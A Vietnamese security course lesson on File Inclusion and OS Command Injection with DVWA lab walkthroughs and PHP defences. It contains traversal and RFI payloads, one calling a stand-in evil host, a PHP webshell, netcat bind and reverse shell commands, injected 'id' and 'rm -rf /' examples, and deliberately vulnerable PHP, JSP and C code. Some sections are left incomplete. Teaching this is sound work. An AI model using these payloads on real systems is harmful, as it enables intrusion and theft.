Bài 6: File Inclusion & OS Command Injection

1. File Inclusion

1.1. Giới thiệu

File Inclusion là một lớp lỗ hổng xuất hiện khi ứng dụng web sử dụng tham số từ request của người dùng để quyết định file nào sẽ được load hoặc thực thi phía server. Nếu không có cơ chế kiểm tra đầu vào, kẻ tấn công có thể:

• Buộc server hiển thị nội dung của file tùy ý (file hệ thống, file cấu hình…)
• Buộc server thực thi mã độc trong file do kẻ tấn công kiểm soát

Ví dụ điển hình trong PHP, các hàm sau là nguyên nhân trực tiếp:

include();
require();
include_once();
require_once();

Khi ứng dụng viết kiểu này mà không kiểm tra $file:

$file = $_GET['file'];
include('directory/' . $file);

Kẻ tấn công chỉ cần truyền vào URL:

http://example.com/?file=../../../../etc/passwd

1.2. Phân loại

/vulnerable.php?language=../../../../../etc/passwd

# Dùng ký tự NULL byte để bỏ phần mở rộng file (PHP < 5.3.4)
/vulnerable.php?language=C:\notes.txt%00

# Kết hợp với file đã upload lên server
/vulnerable.php?language=C:\ftp\upload\exploit

# Trên Linux leo thư mục
/vulnerable.php?language=../../../../../../etc/passwd%00

/vulnerable.php?language=http://evil.example.com/webshell.txt?

1.3. File Inclusion trong PHP – Chi tiết

Ví dụ code dễ bị tấn công

<?php
if (isset($_GET['language'])) {
    include($_GET['language'] . ".php");
}
?>

<form method="get">
  <select name="language">
    <option value="english">English</option>
    <option value="french">French</option>
  </select>
  <input type="submit">
</form>

Ý định ban đầu: người dùng chọn english → server include english.php. Nhưng vì không kiểm tra, kẻ tấn công có thể truyền bất kỳ đường dẫn nào.

Directory Traversal

/vulnerable.php?language=../../../../../etc/passwd%00

Kỹ thuật này di chuyển ngược lên cây thư mục bằng ../, rồi trỏ đến file mục tiêu.

RFI – Remote File Inclusion

http://www.certifiedhacker.com/orders.php?DRINK=http://jasoneval.com/exploit?

<?php
$drink = $_GET['DRINK'];
require($drink . ".php");
?>

Server sẽ tải file từ jasoneval.com về và thực thi như code PHP — kẻ tấn công hoàn toàn kiểm soát được nội dung file đó.

1.4. Giải pháp phòng chống File Inclusion trong PHP

switch ($_GET['language']) {
    case 'english':
        include('english.php');
        break;
    case 'french':
        include('french.php');
        break;
    default:
        include('default.php');
}

$available_languages = array('eng', 'nor', 'ger');
$language = $_GET['language'];

if (in_array($language, $available_languages)) {
    include($language . '.php');
} else {
    die("Invalid language.");
}

$language = $_GET['language'];
if (strlen($language) < 4) {
    include($language . '.php');
}

1.5. File Inclusion trong JSP

Tương tự PHP, JSP cũng dễ bị tấn công nếu dùng tham số từ request để include file:

<%
    String p = request.getParameter("p");
%>
<%@ include file="<%= "includes/" + p + ".jsp" %>" %>

Khai thác:

/vulnerable.jsp?p=../../../../var/log/access.log%00

1.6. Directory Traversal – Tổng quan

Directory Traversal (hay Path Traversal) cho phép kẻ tấn công truy cập các file ngoài thư mục gốc của web server bằng cách thao túng đường dẫn file.

http://www.certifiedhacker.com/process.php?file=../../../../etc/passwd

1.7. File Password trên Linux và Windows

smithj:x:561:561:Joe Smith:/home/smithj:/bin/bash

smithj:$p$6mckrOLChF...:10063:0:99999:7:::

2. Abusing File Inclusions kết hợp Upload

2.1. Mô tả tấn công

Kịch bản: ứng dụng có hai tính năng riêng biệt:

1. Upload file (được kiểm tra loại file, ví dụ chỉ cho phép ảnh).
2. File Inclusion (dễ bị khai thác LFI).

Kẻ tấn công kết hợp cả hai để upload shell giả dạng ảnh, rồi dùng LFI để thực thi shell đó.

2.2. Thực hành trên DVWA (mức Medium)

Bước 1: Tạo file webshell.php:

<?php
system($_GET['cmd']);
echo '<form method="get" action="../../hackable/uploads/webshell.php">
    <input type="text" name="cmd"/>
</form>';
?>

Bước 2: Tạo file rename.php để đổi tên file:

<?php
system('mv ../../hackable/uploads/webshell.jpg ../../hackable/uploads/webshell.php');
?>

Bước 3: Đổi tên webshell.php → webshell.jpg, rename.php → rename.jpg rồi upload cả hai.

Bước 4: Dùng LFI để thực thi rename.jpg (thực ra là PHP):

?page=../../hackable/uploads/rename.jpg

Bước 5: Include webshell.php vừa được tạo ra:

?page=../../hackable/uploads/webshell.php

Bước 6: Nhập lệnh vào textbox, ví dụ:

/sbin/ifconfig

2.3. Mở rộng – Reverse Shell bằng NetCat

nc -lp 12345 -e /bin/bash

Lệnh này:

• Mở cổng TCP 12345 trên server và lắng nghe kết nối đến.
• Khi có kết nối, gắn /bin/bash vào socket → kẻ tấn công từ xa có thể gõ lệnh như đang ở terminal server.

2.4. Kiểm tra và ngăn chặn upload file

// Kiểm tra image header thật sự
$imageInfo = getimagesize($_FILES['upload']['tmp_name']);
if ($imageInfo === false) {
    die("File không phải ảnh hợp lệ.");
}

// Kiểm tra MIME type
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($imageInfo['mime'], $allowedTypes)) {
    die("Loại file không được phép.");
}

// Giới hạn kích thước
if ($_FILES['upload']['size'] > 500000) {
    die("File quá lớn.");
}

3. OS Command Injection

3.1. Giới thiệu

OS Command Injection (Shell Injection) là lỗ hổng cho phép kẻ tấn công thực thi lệnh hệ điều hành tùy ý trên máy chủ thông qua lỗ hổng của ứng dụng web.

Nguyên nhân: Ứng dụng truyền trực tiếp dữ liệu từ người dùng vào system shell mà không kiểm tra, dẫn đến kẻ tấn công có thể chèn thêm lệnh.

3.2. Ví dụ trong PHP

<?php
print("Please specify the name of the file to delete");
print("<p>");
$file = $_GET['filename'];
system("rm $file");
?>

Khi kẻ tấn công truyền vào:

http://127.0.0.1/delete.php?filename=bob.txt; id

Lệnh thực tế server chạy sẽ là:

rm bob.txt; id

Kết quả trả về:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Dấu ; trong shell Unix cho phép nối nhiều lệnh tuần tự. Ngoài ra còn có:

3.3. Ví dụ trong C

#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
    char cat[] = "cat ";
    char *command;
    size_t commandLength;

    commandLength = strlen(cat) + strlen(argv[1]) + 1;
    command = (char *)malloc(commandLength);
    strncpy(command, cat, commandLength);
    strncat(command, argv[1], commandLength - strlen(cat));

    system(command);
    return 0;
}

Nếu người dùng truyền vào argv[1] là file.txt; rm -rf /, toàn bộ hệ thống có thể bị xóa.

3.4. Thực hành trên DVWA

Bước 1: Vào mục Command Execution trong DVWA, thử ping một IP bình thường.

Bước 2: Inject lệnh đơn giản để kiểm tra:

127.0.0.1; uname -a

Nếu thấy output của uname → lỗ hổng tồn tại.

Bước 3: Kiểm tra NetCat có sẵn không:

; ls /bin/nc*

Bước 4: Trên máy Kali (máy tấn công), mở port lắng nghe:

nc -lp 1691 -v

Bước 5: Trên trình duyệt, inject lệnh để server kết nối ngược về máy Kali:

; nc.traditional -e /bin/bash <IP_Kali> 1691 &

Đây là kỹ thuật reverse shell: server chủ động kết nối ra ngoài (bypass firewall dễ hơn bind shell).

Bước 6: Quay lại terminal Kali, thực hiện lệnh:

whoami
pwd
ls
cat /etc/passwd

Hay

3.5. Phòng chống OS Command Injection

// Dùng escapeshellarg() để escape toàn bộ argument
$filename = escapeshellarg($_GET['filename']);
system("rm " . $filename);

// Hoặc escapeshellcmd() để escape toàn bộ lệnh
$cmd = escapeshellcmd("rm " . $_GET['filename']);
system($cmd);

4. Câu hỏi ôn tập

5. Tài liệu tham khảo

• OWASP – File Inclusion
• OWASP – OS Command Injection
• PortSwigger – Path Traversal
• PayloadsAllTheThings – File Inclusion
• HackTricks – LFI to RCE